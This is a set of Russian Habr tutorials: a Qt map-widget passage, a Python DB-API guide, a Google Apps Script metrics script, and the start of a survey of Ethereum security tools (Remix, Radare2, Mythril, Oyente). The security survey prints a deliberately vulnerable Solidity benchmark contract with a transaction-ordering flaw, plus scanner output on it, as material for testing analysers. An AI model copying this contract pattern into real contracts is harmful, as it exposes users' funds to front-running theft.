anim->setEndValue(-1 * rect().height());
anim->setDuration(500);
anim->start(QAbstractAnimation::DeleteWhenStopped);
}
void StatusBarItem::hide()
{
QPropertyAnimation *anim = new QPropertyAnimation(this, "offset");
anim->setStartValue(m_offset);
anim->setEndValue(0);
anim->setDuration(500);
anim->start(QAbstractAnimation::DeleteWhenStopped);
}
```
Анимация управляет позицией элемента и в зависимости от метода, либо тянет элемент вверх, либо вниз. Девиз Qt *«Code Less. Create More.»* работает в полной мере.
##### Элемент для масштабирования
Здесь я хотел рассмотреть реализацию кнопок для масштабирования, но в последний момент передумал (увидев объем получившейся статьи) и лишь опишу основной принцип его работы. Итак, это обычный [QGraphicsRectItem](http://doc.qt.nokia.com/latest/qgraphicsrectitem.html), который содержит два [текстовых элемента](http://doc.qt.nokia.com/latest/qgraphicssimpletextitem.html), для отображения **+** и **-**, и [QGraphicsLineItem](http://doc.qt.nokia.com/latest/qgraphicslineitem.html) для визуального разделения. Элемент реагирует на действия пользователя и по нажатию он либо увеличивает, либо уменьшает масштаб карты:
```
//в зависимости куда нажал пользователь масштаб увеличивается
//либо на один, либо на минус один и 0 если ни то ни се
m_geoMap->setZoomLevel(m_geoMap->zoomLevel() + zoomLevel(event->pos()));
```
В принципе элемент можно было реализовать одним наследованием от *QGraphicsItem* и просто нарисовать нужную нам информацию, но я подумал, что работа с различными графическими элементами более наглядна. Кто хочет, может изменить этот класс, после он будет потреблять немного меньше памяти.
##### Tips & Tricks
Для того, чтобы *QGraphicsView* использовал OpenGL для отрисовки, нужно всего лишь установить [QGLWidget](http://doc.qt.nokia.com/latest/qglwidget.html) таким образом:
```
#ifndef QT_NO_OPENGL
setViewport(new QGLWidget(QGLFormat(QGL::SampleBuffers)));
viewport()->setMouseTracking(true);
setRenderHint(QPainter::HighQualityAntialiasing, true);
#endif
```
И установить [флаг](http://doc.qt.nokia.com/latest/qgraphicsview.html#ViewportUpdateMode-enum) для *QGraphicsView*, так как *QGLWidget* не поддерживает частичные обновления экрана:
```
graphicsView->setViewportUpdateMode(QGraphicsView::FullViewportUpdate);
```
Так же если у вас много анимированных или перемещающихся элементов в сцене, то для лучшей производительности можно отключить индексацию элементов:
```
graphicsScene->setItemIndexMethod(QGraphicsScene::NoIndex);
```
[Индексирование](http://doc.qt.nokia.com/latest/qgraphicsscene.html#ItemIndexMethod-enum) отлично подходит для статичных элементов сцены, оно повышает поиск элементов сцены в таких функциях как [items()](http://doc.qt.nokia.com/latest/qgraphicsscene.html#items) и [itemAt()](http://doc.qt.nokia.com/latest/qgraphicsscene.html#itemAt). Так же можете рассмотреть [оптимизирующие](http://doc.qt.nokia.com/latest/qgraphicsview.html#OptimizationFlag-enum) флаги для *QGraphicsView*.
##### Заключение
Статья получилась большая, и мне кажется, ее можно расширять бесконечно. Мы не рассмотрели API [поиска](http://doc.qt.nokia.com/qtmobility-1.2/tutorials-mapsdemo-part2.html) объектов, [прокладку маршрута](http://doc.qt.nokia.com/qtmobility-1.2/tutorials-mapsdemo-part4.html) и работу с API [Landmark](http://doc.qt.nokia.com/qtmobility/location-overview.html#landmarks) (если кого заинтересует, посмотрите пример [1](http://doc.qt.nokia.com/qtmobility-1.2/landmarkbrowser.html) и [2](http://doc.qt.nokia.com/qtmobility/declarative-location-landmarkmap.html)). В статье мы познакомились с *Graphics View Framework*, основными моментами при использовании API *QtLocation*, я надеюсь, научились работать с [Animation Framework](http://doc.qt.nokia.com/latest/animation.html) и рассмотрели реализацию инерционного перемещения карты, различных элементов для управления картой и вывода текстовой информации. В общем, получился хороший компонент для отображения карты, который можно расширить до полноценного навигатора. Чтобы попробовать приложение в действии, необходимо установить [Qt SDK](http://qt.nokia.com/downloads) и скопмилировать проект для эмулятора Qt. Напоследок немного полезных ссылок.
##### Ссылки
1. [Qt Videos](http://developer.qt.nokia.com/videos)
2. [Scene Graph: A Different Approach to Graphics in Qt](http://developer.qt.nokia.com/videos/watch/scene_graph_a_different_approach_to_graphics_in_qt)
3. [Performance: Do Graphics the Right Way](http://developer.qt.nokia.com/videos/watch/performance_do_graphics_the_right_way)
4. [Qt GraphicsView in Depth](http://developer.qt.nokia.com/videos/watch/qt_graphicsview_in_depth)
5. [Training Materials — Graphics View](http://qt.nokia.com/learning/online/training/specialized-elearning/graphics-view)
6. Весь проект на [gitorius](https://gitorious.org/geo-application)
P.S. Приветствуются комментарии к статье, это будет очень полезно, для такого не опытного автора как я. Заранее спасибо. | https://habr.com/ru/post/134289/ | null | ru | null |
# Python: Работа с базой данных, часть 1/2: Используем DB-API
| часть 1/2: Используем DB-API | [часть 2/2: Используем ORM](https://habr.com/ru/post/322086/) |
| --- | --- |
**Python DB-API** – это не конкретная библиотека, а набор правил, которым подчиняются отдельные модули, реализующие работу с конкретными базами данных. Отдельные нюансы реализации для разных баз могут отличаться, но общие принципы позволяют использовать один и тот же подход при работе с разными базами данных.
**В статье рассмотрены** основные методы DB-API, позволяющие полноценно работать с базой данных. Полный список можете найти по ссылкам в конец статьи.
**Требуемый уровень подготовки**: базовое понимание синтаксиса SQL и Python.
Готовим инвентарь для дальнейшей комфортной работы
--------------------------------------------------
* Python имеет встроенную поддержку SQLite базы данных, для этого вам не надо ничего дополнительно устанавливать, достаточно в скрипте указать импорт стандартной библиотеки
```
import sqlite3
```
* Скачаем тестовую базу данных, с которой будем работать. В данной статье будет использоваться открытая (MIT лицензия) тестовая база данных “Chinook”. Скачать ее можно с репозитория:
[github.com/lerocha/chinook-database](https://github.com/lerocha/chinook-database)
Нам нужен для работы только бинарный файл “Chinook\_Sqlite.sqlite”:
[github.com/lerocha/chinook-database/blob/master/ChinookDatabase/DataSources/Chinook\_Sqlite.sqlite](https://github.com/lerocha/chinook-database/blob/master/ChinookDatabase/DataSources/Chinook_Sqlite.sqlite)
* Для удобства работы с базой (просмотр, редактирование) нам нужна программа браузер баз данных, поддерживающая SQLite. В статье работа с браузером не рассматривается, но он поможет Вам наглядно видеть что происходит с базой в процессе наших экспериментов.
**Примечание**: внося изменения в базу не забудьте их применить, так как база с непримененными изменениями остается залоченной.
Вы можете использовать (последние два варианта кросс-платформенные и бесплатные):
+ Привычную вам утилиту для работы с базой в составе вашей IDE;
+ [SQLite Database Browser](http://sqlitebrowser.org/)
+ [SQLiteStudio](https://sqlitestudio.pl/index.rvt)
Python DB-API модули в зависимости от базы данных
-------------------------------------------------
| База данных | DB-API модуль |
| --- | --- |
| SQLite | sqlite3 |
| PostgreSQL | psycopg2 |
| MySQL | mysql.connector |
| ODBC | pyodbc |
Соединение с базой, получение курсора
-------------------------------------
Для начала рассмотрим самый базовый шаблон DB-API, который будем использовать во всех дальнейших примерах:
```
# Импортируем библиотеку, соответствующую типу нашей базы данных
import sqlite3
# Создаем соединение с нашей базой данных
# В нашем примере у нас это просто файл базы
conn = sqlite3.connect('Chinook_Sqlite.sqlite')
# Создаем курсор - это специальный объект который делает запросы и получает их результаты
cursor = conn.cursor()
# ТУТ БУДЕТ НАШ КОД РАБОТЫ С БАЗОЙ ДАННЫХ
# КОД ДАЛЬНЕЙШИХ ПРИМЕРОВ ВСТАВЛЯТЬ В ЭТО МЕСТО
# Не забываем закрыть соединение с базой данных
conn.close()
```
При работе с другими базами данных, используются дополнительные параметры соединения, например для PostrgeSQL:
```
conn = psycopg2.connect( host=hostname, user=username, password=password, dbname=database)
```
Чтение из базы
--------------
```
# Делаем SELECT запрос к базе данных, используя обычный SQL-синтаксис
cursor.execute("SELECT Name FROM Artist ORDER BY Name LIMIT 3")
# Получаем результат сделанного запроса
results = cursor.fetchall()
results2 = cursor.fetchall()
print(results) # [('A Cor Do Som',), ('Aaron Copland & London Symphony Orchestra',), ('Aaron Goldberg',)]
print(results2) # []
```
**Обратите внимание:** После получения результата из курсора, второй раз без повторения самого запроса его получить нельзя — вернется пустой результат!
Запись в базу
-------------
```
# Делаем INSERT запрос к базе данных, используя обычный SQL-синтаксис
cursor.execute("insert into Artist values (Null, 'A Aagrh!') ")
# Если мы не просто читаем, но и вносим изменения в базу данных - необходимо сохранить транзакцию
conn.commit()
# Проверяем результат
cursor.execute("SELECT Name FROM Artist ORDER BY Name LIMIT 3")
results = cursor.fetchall()
print(results) # [('A Aagrh!',), ('A Cor Do Som',), ('Aaron Copland & London Symphony Orchestra',)]
```
**Примечание**: Если к базе установлено несколько соединений и одно из них осуществляет модификацю базы, то база SQLite залочивается до завершения (метод соединения .***commit***()) или отмены (метод соединения .***rollback***()) транзакции.
Разбиваем запрос на несколько строк в тройных кавычках
------------------------------------------------------
Длинные запросы можно разбивать на несколько строк в произвольном порядке, если они заключены в тройные кавычки — одинарные ('''…''') или двойные ("""...""")
```
cursor.execute("""
SELECT name
FROM Artist
ORDER BY Name LIMIT 3
""")
```
Конечно в таком простом примере разбивка не имеет смысла, но на сложных длинных запросах она может кардинально повышать читаемость кода.
Объединяем запросы к базе данных в один вызов метода
----------------------------------------------------
Метод курсора .execute() позволяет делать только один запрос за раз, при попытке сделать несколько через точку с запятой будет ошибка.
**Для тех кто не верит на слово:**
```
cursor.execute("""
insert into Artist values (Null, 'A Aagrh!');
insert into Artist values (Null, 'A Aagrh-2!');
""")
# sqlite3.Warning: You can only execute one statement at a time.
```
Для решения такой задачи можно либо несколько раз вызывать метод курсора .***execute***()
```
cursor.execute("""insert into Artist values (Null, 'A Aagrh!');""")
cursor.execute("""insert into Artist values (Null, 'A Aagrh-2!');""")
```
Либо использовать метод курсора .***executescript***()
```
cursor.executescript("""
insert into Artist values (Null, 'A Aagrh!');
insert into Artist values (Null, 'A Aagrh-2!');
""")
```
Данный метод также удобен, когда у нас запросы сохранены в отдельной переменной или даже в файле и нам его надо применить такой запрос к базе.
Делаем подстановку значения в запрос
------------------------------------
**Важно**! Никогда, ни при каких условиях, не используйте конкатенацию строк (+) или интерполяцию параметра в строке (%) для передачи переменных в SQL запрос. Такое формирование запроса, при возможности попадания в него пользовательских данных – это ворота для SQL-инъекций!
Правильный способ – использование второго аргумента метода .execute()
Возможны два варианта:
```
# C подставновкой по порядку на места знаков вопросов:
cursor.execute("SELECT Name FROM Artist ORDER BY Name LIMIT ?", ('2'))
# И с использованием именнованных замен:
cursor.execute("SELECT Name from Artist ORDER BY Name LIMIT :limit", {"limit": 3})
```
**Примечание 1**: В PostgreSQL (UPD: и в MySQL) вместо знака '?' для подстановки используется: %s
**Примечание 2**: Таким способом не получится заменять имена таблиц, одно из возможных решений в таком случае рассматривается тут: [stackoverflow.com/questions/3247183/variable-table-name-in-sqlite/3247553#3247553](http://stackoverflow.com/questions/3247183/variable-table-name-in-sqlite/3247553#3247553)
**UPD: Примечание 3**: Благодарю [Igelko](https://habr.com/ru/users/igelko/) за упоминание параметра ***[paramstyle](https://www.python.org/dev/peps/pep-0249/#paramstyle)*** — он определяет какой именно стиль используется для подстановки переменных в данном модуле.
Вот ссылка [с полезным приемом для работы с разными стилями подстановок](http://stackoverflow.com/questions/12184118/python-sqlite3-placeholder).
Делаем множественную вставку строк проходя по коллекции с помощью метода курсора .*executemany*()
-------------------------------------------------------------------------------------------------
```
# Обратите внимание, даже передавая одно значение - его нужно передавать кортежем!
# Именно по этому тут используется запятая в скобках!
new_artists = [
('A Aagrh!',),
('A Aagrh!-2',),
('A Aagrh!-3',),
]
cursor.executemany("insert into Artist values (Null, ?);", new_artists)
```
Получаем результаты по одному, используя метод курсора .*fetchone*()
--------------------------------------------------------------------
Он всегда возвращает кортеж или None. если запрос пустой.
```
cursor.execute("SELECT Name FROM Artist ORDER BY Name LIMIT 3")
print(cursor.fetchone()) # ('A Cor Do Som',)
print(cursor.fetchone()) # ('Aaron Copland & London Symphony Orchestra',)
print(cursor.fetchone()) # ('Aaron Goldberg',)
print(cursor.fetchone()) # None
```
**Важно**! Стандартный курсор забирает все данные с сервера сразу, не зависимо от того, используем мы .fetchall() или .fetchone()
Курсор как итератор
-------------------
```
# Использование курсора как итератора
for row in cursor.execute('SELECT Name from Artist ORDER BY Name LIMIT 3'):
print(row)
# ('A Cor Do Som',)
# ('Aaron Copland & London Symphony Orchestra',)
# ('Aaron Goldberg',)
```
UPD: Повышаем устойчивость кода
-------------------------------
Благодарю [paratagas](https://habr.com/ru/users/paratagas/) за ценное дополнение:
Для большей устойчивости программы (особенно при операциях записи) можно оборачивать инструкции обращения к БД в блоки «try-except-else» и использовать встроенный в sqlite3 «родной» объект ошибок, например, так:
```
try:
cursor.execute(sql_statement)
result = cursor.fetchall()
except sqlite3.DatabaseError as err:
print("Error: ", err)
else:
conn.commit()
```
UPD: Использование with в psycopg2
----------------------------------
Благодарю [KurtRotzke](https://habr.com/ru/users/kurtrotzke/) за ценное дополнение:
Последние версии psycopg2 позволяют делать так:
```
with psycopg2.connect("dbname='habr'") as conn:
with conn.cursor() as cur:
```
Некоторые объекты в Python имеют \_\_enter\_\_ и \_\_exit\_\_ методы, что позволяет «чисто» взаимодействовать с ними, как в примере выше.
UPD: Ипользование row\_factory
------------------------------
Благодарю [remzalp](https://habr.com/ru/users/remzalp/) за ценное дополнение:
Использование [row\_factory](https://docs.python.org/3/library/sqlite3.html#sqlite3.Connection.row_factory) позволяет брать метаданные из запроса и обращаться в итоге к результату, например по имени столбца.
По сути — callback для обработки данных при возврате строки. Да еще и полезнейший cursor.description, где есть всё необходимое.
Пример из документации:
```
import sqlite3
def dict_factory(cursor, row):
d = {}
for idx, col in enumerate(cursor.description):
d[col[0]] = row[idx]
return d
con = sqlite3.connect(":memory:")
con.row_factory = dict_factory
cur = con.cursor()
cur.execute("select 1 as a")
print(cur.fetchone()["a"])
```
Дополнительные материалы (на английском)
----------------------------------------
* Краткий бесплатный он-лайн курс — [Udacity — Intro to Relational Databases](https://www.udacity.com/course/intro-to-relational-databases--ud197) — Рассматриваются синтаксис и принципы работы SQL, Python DB-API – и теория и практика в одном флаконе. Очень рекомендую для начинающих!
* [Advanced SQLite Usage in Python](http://pythoncentral.io/advanced-sqlite-usage-in-python/)
* [SQLite Python Tutorial на tutorialspoint.com](https://www.tutorialspoint.com/sqlite/sqlite_python.htm)
* [A thorough guide to SQLite database operations in Python](http://sebastianraschka.com/Articles/2014_sqlite_in_python_tutorial.html)
* UPD: [The Novice's Guide to the Python 3 DB-API](http://www.philvarner.com/test/ng-python3-db-api/)
* Справочные руководства по SQLite он-лайн:
+ [www.tutorialspoint.com/sql/index.htm](https://www.tutorialspoint.com/sql/index.htm)
+ [www.tutorialspoint.com/sqlite](https://www.tutorialspoint.com/sqlite/)
+ [www.sqlitetutorial.net](http://www.sqlitetutorial.net/)
| часть 1/2: Используем DB-API | [часть 2/2: Используем ORM](https://habr.com/ru/post/322086/) |
| --- | --- |
#### Приглашаю к обсуждению:
* Если я где-то допустил неточность или не учёл что-то важное — пишите в комментариях, важные комментарии будут позже добавлены в статью с указанием вашего авторства.
* Если какие-то моменты не понятны и требуется уточнение — пишите ваши вопросы в комментариях — или я или другие читатели дадут ответ, а дельные вопросы с ответами будут позже добавлены в статью. | https://habr.com/ru/post/321510/ | null | ru | null |
# Автоматизация метрик для веб-сервиса с помощью GoogleDocs + Google Script
Меня зовут Чингис, я сооснователь веб-сервиса для командного решения задач [Worksection.com](http://worksection.com)
Мы у себя в сервисе отслеживаем ряд контрольных метрик. Посещения, регистрации, конверсии, активации, удержание, отток и тд. Метрики ведем в сводной таблице в Google Docs. Данные для метрик — собирались вручную из Google Analytics и из самого нашего сервиса. Потратив совсем немного времени, мы автоматизировали этот сбор.
За прототип сводной Excel таблицы брали финансовую модель [Matthew Carroll](http://www.quora.com/Matthew-Carroll) [для стартапов](http://retail-analytics.quora.com/Forecasting-Revenue-Expenses-for-an-E-Commerce-Startup-Introduction-Overview).
Данные в таблицу в Google Docs вбивались вручную. В итоге, я так и обновлял каждый месяц метрики вручную, пока не наткнулся на [обзор](http://goo.gl/otgFB) про сервисы, которые позволяют визуализировать метрики
На западе таких сервисов уже много. Например:
[DucksBoard](http://DucksBoard.com)
[Totango](http://Totango.com)
[Kissmetrics](http://Kissmetrics.com)
Мне еще раз захотелось автоматизировать этот процесс. Но поскольку сервисов было много, а таблица была уже настроена и “привычна”, я решил попробовать автоматизировать получения данных в саму таблицу в Google Docs с помощью [Google Script](https://developers.google.com/apps-script/)
Итак, моя задача была:
* получить данные из Google Analytics за последний месяц
* получить данные из сервиса за последний месяц
* вставить данные в таблицу страницу, с форматированием
Потратив полдня на разбор документации, я написал простой скрипт, который можно использовать и для получения ваших метрик в ваш Excel файл
Создаем новый скрипт [script.google.com](https://script.google.com/) ( у вас должны быть учетка Google )
2. копируем код
```
function setNewMetrics() {
// выбираем Excel в который мы будем писать данные //////////////////
var ss = SpreadsheetApp.openById("0AjAbTD8WcDQMdC1MWmtUR3VlUWJTSHIzQ0dsSS1HSGc"); // Вставляем хеш вашей Excel страницы в которую будем писать !!!!!!!!!!!!!!!!!!!!!
SpreadsheetApp.setActiveSpreadsheet(ss);
var sheet= SpreadsheetApp.setActiveSheet(ss.getSheets()[1]); // выбираем страницу(sheet) в Excel файле !!!!!!!!!!!!!!
Logger.log("Название страницы = "+sheet.getName()); // Проверяем, правильно ли мы выбрали страницу - запускаем скрипт "меню Run-> setNewMetrics" - жмем CNTRL + ENTER - смотрим лог
var sCol = new Array(); // массив для данных, которые мы вставим в Excel
// формируем дату
var d = new Date();
var monthNames = [ "January", "February", "March", "April", "May", "June","July", "August", "September", "October", "November", "December" ];
var cMonth= d.getMonth(); var cYear = d.getFullYear();
cMonth= (cMonth + 12 - 1) % 12 // ищем прошлый месяц ( если надо статистику за 2 месяца назад "1" заменить на "2" )
if ( (cMonth-1) > 0 ) cYear--; // корректируем год, если январь
var cMonth_str = monthNames[cMonth];
sCol[1] = cMonth_str+" "+cYear; // записали месяц
// получаем данные из GA /////////////////////////////////////////////////////////////////////
//Перед тем как работать с API GA вам нужно "включить" API, подробная инструкция https://developers.google.com/analytics/solutions/articles/reporting-apps-script#registration
// после нужно настроить получение вашего профайла в функции getProfile() ниже
var sProfile=getProfile(); // выбираем и подключаем нужный профайл GA, функцию нужно настроить под свой профиль, смотрите ниже !!!!!!
var oGA = getReportDataForProfile(sProfile).getTotalsForAllResults(); // получаем данные, метрики можно настроить в этой функции !!!!!!
sCol[3] = oGA["ga:visits"]; // записали visits
sCol[12] = oGA["ga:goalCompletionsAll"]/oGA["ga:visits"]; // получили конверсию Visit-> Trial
Logger.log( "Данные из GA -> "+sCol[12]); // проверяем правильно ли получили GA данные
// получаем и обрабатываем JSON файл с метриками, которые я забираю с сервиса /////////////////////////////////////////////////////////
// Надо поправить скрипт с учетом формата вашего JSON файла
var opts = {"contentType":"multipart/form-data", "method" : "post",}
var response = UrlFetchApp.fetch("http://YOURSITE.com/8IiXcnPkEi3W.json", opts); // я получаю метрики из сервиса в JSON формате в таком виде
/*
{"24":{"date":"February 2011","new_paid":"360","churn":2},
"23":{"date":"March 2011","new_paid":"38","churn":2}}
*/
var jsondata = response.getContentText();
jsondata = JSON.parse(jsondata); // парсим полученные данные в переменную jsondata
for (var month in jsondata) {
//Logger.log("==>"+month+jsondata[month] + jsondata[month]["date"]);
if ( (cMonth_str+" "+ cYear) === jsondata[month]["date"] ) {
// нашли данные за прошлый месяц - вносим их !!!!!!!!!!!!!!
sCol[7] = jsondata[month]["new"];
sCol[8] = jsondata[month]["lost"];
sCol[22] = jsondata[month]["churn"]+"%";
sCol[23] = jsondata[month]["churn_paid"]+"%";
sCol[25] = jsondata[month]["ltv"];
}
}
// записываем в Excel ///////////////////////////////////////////////////////////////
// я буду писать в последнюю колонку Excel файла. заполняем контентом последнюю колонку
var sLastcolumn = sheet.getLastColumn()+1;
var oRange = sheet.getRange(1,sLastcolumn ) ;
for (var i=1; i<(sCol.length+1); i++) {
if (sCol[i]) oRange.setValue(sCol[i]); // запись значения в ячейку
oRange = oRange.offset(1, 0, 1, 1); // смещаем указатель вниз
}
// копируем формат из предыдущей колонки
var oRange1 =sheet.getRange(1,sLastcolumn-1,100,1) // получаем диапазон предыдущей колонки и ста записей рядов
oRange1.copyFormatToRange(sheet,sLastcolumn,sLastcolumn,1,100);// копируем формат
}
// функция выбирает нужный профиль из GA(google analytics)
function getProfile() {
var accounts = Analytics.Management.Accounts.list();
if (accounts.getItems()) {
var firstAccountId = accounts.getItems()[1].getId(); // выбираем нужный аккаунт из гугл аналитики ( номер "1" возможно надо будет изменить на "свой" )!!!!!
//Logger.log(accounts.getItems()[1].getName()); // проверяем
var webProperties = Analytics.Management.Webproperties.list(firstAccountId);
if (webProperties.getItems()) {
var firstWebPropertyId = webProperties.getItems()[10].getId();// получаем нужный профайл №10 ( номер профиля подобрал перебором ) ) !!!!!!!
//Logger.log(webProperties.getItems()[10]);// проверяем профайл
var profiles = Analytics.Management.Profiles.list(firstAccountId, firstWebPropertyId);
if (profiles.getItems()) {
var Profile = profiles.getItems()[0];
return Profile;
} else {
throw new Error('No profiles found.');
}
} else {
throw new Error('No webproperties found.');
}
} else {
throw new Error('No accounts found.');
}
}
function getReportDataForProfile(firstProfile) {
// функция обращается в Google Analytics по данным и получает данные за прошлый месяц
var profileId = firstProfile.getId();
var tableId = 'ga:' + profileId;
var sLastMonthRange = getLastMonth(1); //
var optArgs = {
/* 'dimensions': 'ga:keyword', // Comma separated list of dimensions.
'sort': '-ga:visits,ga:keyword', // Sort by visits descending, then keyword.
'segment': 'dynamic::ga:isMobile==Yes', // Process only mobile traffic.
'filters': 'ga:source==google', // Display only google traffic.
'start-index': '1',
'max-results': '250' // Display the first 250 results.*/
};
// Make a request to the API.
var results = Analytics.Data.Ga.get(
tableId, // Table id (format ga:xxxxxx).
sLastMonthRange[0], // Start-date (format yyyy-MM-dd).
sLastMonthRange[1], // End-date (format yyyy-MM-dd).
'ga:visits, ga:pageviews,ga:goalCompletionsAll', // Comma seperated list of metrics. ( https://developers.google.com/analytics/resources/articles/gdataCommonQueries)
optArgs);
if (results.getRows()) {
return results;
} else {
throw new Error('No profiles found');
}
}
// функции дат
function getLastNdays(nDaysAgo) {
var today = new Date();
var before = new Date();
before.setDate(today.getDate() - nDaysAgo);
return Utilities.formatDate(before, 'GMT', 'yyyy-MM-dd');
}
function getLastMonth() {
var sNow = new Date();
var dd = sNow.getDate();
var mm = sNow.getMonth();
var yyyy = sNow.getFullYear();
var sStart = new Date( yyyy, mm-1, 2, 0,0,1 );
var sDays = daysInMonth(yyyy, mm-1) ;
var sEnd = new Date( yyyy, mm-1, sDays+1, 0,0,1 );
//Logger.log(sStart + " " + sEnd + ' -- ' + sDays);
return [ Utilities.formatDate(sStart, 'GMT', 'yyyy-MM-dd') , Utilities.formatDate(sEnd, 'GMT', 'yyyy-MM-dd') ] ;
}
function daysInMonth(year, month) {
return new Date(year, month, 0).getDate();
}
```
Места в которых необходимо внести изменения, я пометил комментами с паническим **“!!!!!”**.
Скрипт можно запускать руками раз в месяц. А можно и настроить крон для запуска автоматически “Меню -> Resourсe -> Manage Triggers”.
Запускаем функцию “setNewMetrics()”.
Надеюсь, это поможет кому-то автоматизировать получение метрик в Google Docs. На вопросы отвечаю ). | https://habr.com/ru/post/170109/ | null | ru | null |
# Attention! S in Ethereum stands for Security. Part 4. Tools
Представляем четвертую часть цикла, посвященного типичным уязвимостям, атакам и проблемным местам, которые присущи смарт-контрактам на языке Solidity и платформе Ethereum в целом. Здесь мы поговорим о том, какие инструменты для анализа безопасности смарт-контрактов существуют, и почему они (не)нужны.
В [первой](https://habrahabr.ru/company/dsec/blog/345196/) части мы обсудили front-running attack, различные алгоритмы генерации случайных чисел и отказоустойчивость сети с Proof-of-Authority консенсусом. Во [второй](https://habrahabr.ru/company/dsec/blog/346408/) говорили об Integer overflow, ABI encoding/decoding, Uninitialized storage pointer, Type Confusion и о том, как сделать бэкдор. В [третьей](https://habrahabr.ru/company/dsec/blog/347110/) части мы затронули несколько отличительных особенностей Solidity и разобрали кое-какие логические уязвимости, встречающиеся в контрактах. В этой части мы предлагаем вашему вниманию обзор существующих инструментов для анализа смарт-контрактов.
Все инструменты мы поделили на несколько категорий, которые позволяют делать:
* [отладку](#otladka);
* [автоматический поиск уязвимостей](#avtomaticheskiy-poisk-uyazvimostey);
* [обратную разработку](#obratnaya-razrabotka) (reverse engineering);
* [тестирование](#testirovanie).
Далее мы коснёмся каждой из них. Какие-то из инструментов работают только при наличии исходного кода смарт-контракта, другие — и без него. И сразу оговоримся, что речь пойдет только о тех инструментах, которые нам известны, есть в открытом доступе, и с которыми мы работали. Если у вас есть опыт работы с какими-либо другими тулзами данной тематики, то милости просим в комментарии :)
Отладка
-------
На текущий момент существует всего одна (или единственная удобная) возможность отлаживать смарт-контракт с исходным кодом — [Remix IDE](http://remix.ethereum.org/). А если необходимо разобраться в байткоде, то вам может помочь [Radare2](https://github.com/radare/radare2) или [MythrilTraceExplorer](https://github.com/ConsenSys/mythril-trace-explorer).
### [Remix IDE](https://remix.ethereum.org)
Если вы разработчик, чаще всего будете использовать именно Remix для отладки (скорее всего, вы так и делаете). Очень удобно отслеживать состояние локальных переменных (стек), состояние memory, storage, потребляемый gas и многое другое.
| |
| --- |
| *Рисунок 1. Интерфейс Remix IDE* |
Если вас пугает содержимое вкладки "Storage completely loaded", советуем разобраться с устройством [storage](http://solidity.readthedocs.io/en/develop/miscellaneous.html#layout-of-state-variables-in-storage). Из минусов можно отметить разве что периодические [баги](https://github.com/ethereum/remix/issues/776) в JavaScript VM и тот факт, что если вы используете ассемблерные вставки, то на построчную отладку вы вряд ли можете надеяться.
### [Radare2](https://github.com/radare/radare2)
Если не нравится Remix, но обожаете консольку, то попробуйте Radare2. При помощи него можно дизассемблировать и отлаживать контракты. Для отладки используются трассы (записанные случившиеся транзакции). Радар по rpc подключается к ноде ([ganache-cli](https://github.com/trufflesuite/ganache-cli) удобен) и стягивает данные, необходимые для повторения транзакции.
В графическом режиме можно отрыть тайлы с содержимым стека и памяти:
| |
| --- |
| *Рисунок 2. Интерфейс Radare 2* |
Можно ставить точки останова и писать в память, однако мы не нашли способа заглянуть в storage или модифицировать его.
У ребят из Positive Technologies есть примеры использования Radare для [дизассемблирования](https://blog.positive.com/reversing-evm-bytecode-with-radare2-ab77247e5e53) и [отладки](https://blog.positive.com/debugging-evm-bytecode-with-radare2-9e0e13cbd936) контрактов. Так как радар не самый интуитивный инструмент, советуем заглянуть и ознакомиться с его командами.
Автоматический поиск уязвимостей
--------------------------------
До нас уже было проведено [сравнение](https://consensys.net/diligence/evm-analyzer-benchmark-suite/) трёх инструментов — Mythrill, Manticore и Oyente. По результатам этого анализа лидирует Mythrill, а хуже всех справляется Oyente. Во время тестов авторы "кормили" инструменты исходными кодами контрактов, так что результаты не отражают, насколько хорошо они справляются с сырым байткодом, но в основном совпадают с нашими впечатлениями.
### [Mythril](https://github.com/ConsenSys/mythril)
Mythril обладает широкой функциональностью, в том числе, для анализа как исходного кода, так и байткода смарт-контрактов. Примечательно то, что он может также работать on-chain, то есть в режиме online подключиться к ноде, выкачать контракт и проанализировать его. Также он является дизассемблером и умеет строить неплохие графы (но будьте осторожны, он часто делает это некорректно, так что лучше попробуйте Ethersplay или IDA-EVM). Также Mythril может сгенерировать state для тулзы под названием MythrilTraceExplorer, которая позволит вам отлаживать байткод смарт-контракта с символьными переменными:
| |
| --- |
| *Рисунок 3. Интерфейс MythrilTraceExplorer* |
С полным перечнем опций Mythil и MythrilTraceExplorer можно ознакомиться в [документации](https://github.com/ConsenSys/mythril/wiki/Installation-and-Setup), а найти секретный флаг, которого в ней нет, можно [тут](https://github.com/b-mueller/smashing-smart-contracts/blob/master/smashing-smart-contracts-1of1.pdf).
Возьмём контракт `eth_tx_order_dependence_minimal` из тестов [Consensys](https://consensys.net/diligence/evm-analyzer-benchmark-suite/)
**Исходник eth\_tx\_order\_dependence\_minimal**
```
contract Benchmark {
address public owner;
bool public claimed;
uint public reward;
function Benchmark() public {
owner = msg.sender;
}
function setReward() public payable {
require (!claimed);
require(msg.sender == owner);
owner.transfer(reward);
reward = msg.value;
}
function claimReward(uint256 submission) {
require (!claimed);
require(submission < 10);
msg.sender.transfer(reward);
claimed = true;
}
}
```
и посмотрим, как Mythril справляется при наличии исходных кодов:
```
user% myth -x eth_tx_order_dependence_minimal.sol
==== Ether send ====
Type: Warning
Contract: Benchmark
Function name: claimReward(uint256)
PC address: 693
In the function 'claimReward(uint256)' a non-zero amount of Ether is sent to msg.sender.
Call value is storage_1.
There is a check on storage index 7. This storage slot can be written to by calling the function 'claimReward(uint256)'.
--------------------
```
а теперь без них:
```
user% myth -x -c 60806040523...5f9dc0029
The analysis was completed successfully. No issues were detected.
```
Как видим, сырой байткод Mythril проанализировать не удалось.
### [Oyente](https://github.com/melonproject/oyente)
Инструмент с собственным движком символьного выполнения для обнаружения уязвимостей в смарт-контрактах, написан на Python. Не так давно разработчики наконец-то добавили вывод информации о входных данных, которые приведут к срабатыванию проблемы. Инструмент выдаёт более-менее адекватные результаты только при анализе контрактов с исходными кодами. Если натравить его на байткод, то он покроет только небольшую его часть и потому, скорее всего, не найдёт баги.
По аналогии с Mythril поставим опыт и над Oyente и посмотрим, как хорошо он ищет уязвимости с исходными кодами и без них:
```
user% oyente -s eth_tx_order_dependence_minimal.sol
INFO:root:contract eth_tx_order_dependence_minimal.sol:Benchmark:
INFO:oyente.symExec: ============ Results ===========
INFO:oyente.symExec: EVM Code Coverage: 98.3%
INFO:oyente.symExec: Integer Underflow: False
INFO:oyente.symExec: Integer Overflow: False
INFO:oyente.symExec: Parity Multisig Bug 2: False
INFO:oyente.symExec: Callstack Depth Attack Vulnerability: False
INFO:oyente.symExec: Transaction-Ordering Dependence (TOD): True
INFO:oyente.symExec: Timestamp Dependency: False
INFO:oyente.symExec: Re-Entrancy Vulnerability: False
INFO:oyente.symExec:Flow1
